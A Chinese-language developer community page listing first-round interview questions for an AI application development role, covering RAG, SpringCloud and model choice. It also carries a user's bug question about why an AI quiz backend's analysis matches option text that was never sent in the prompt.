厦门绩牛科技 AI应用开发一面

1.自我介绍 2.简述下RAG的基本流程 3.如何评估RAG生成的准确度 4.SpringCloud框架有哪些组件 5.SpringCloud线程池有哪几个线程池 6.公司项目的SpringCloud框架是怎么样的 7.SpringCloud框架微服务之间是怎么沟通的 8.平时开发RAG和AI智能体用到哪些工具和软件,具体说说你是如何运用的 9.公司未来想要开发生图生视频的AI软件,你是走那个模型渠道 10.在高负载,高并发的场景和不同业务下,你觉得最适合接入哪些模型,你会做什么样的优化? 11.你的AI生成前端代码项目,AI生成的代码,你是怎么去规范它的质量?如何保证AI生成的开发质量? 12.你对公司还有什么问题嘛

AI 答题应用平台项目后端拼接 userPrompt 问题

### Bug 描述 前端提交的答题答案只有选项字母(A/B/C/D),后端组装给 AI 的 prompt 也只传了题干和用户选的字母,没带选项具体文字,但 AI 输出的分析却和实际选项内容对应上了。请问这是 AI 靠常识脑补的,还是我哪里漏传了选项信息? ### 用户答案截图 详细完整的报错信息和错误日志,请勿使用模糊不清、缺斤少两的截图 ![image.png](https://pic.code-nav.cn/post_picture/1870819092836503554/qjquY3xZhv4syFzA.webp) ![image.png](https://pic.code-nav.cn/post_picture/1870819092836503554/wyFlEjBVsuCJO0Ca.webp)

下载 APP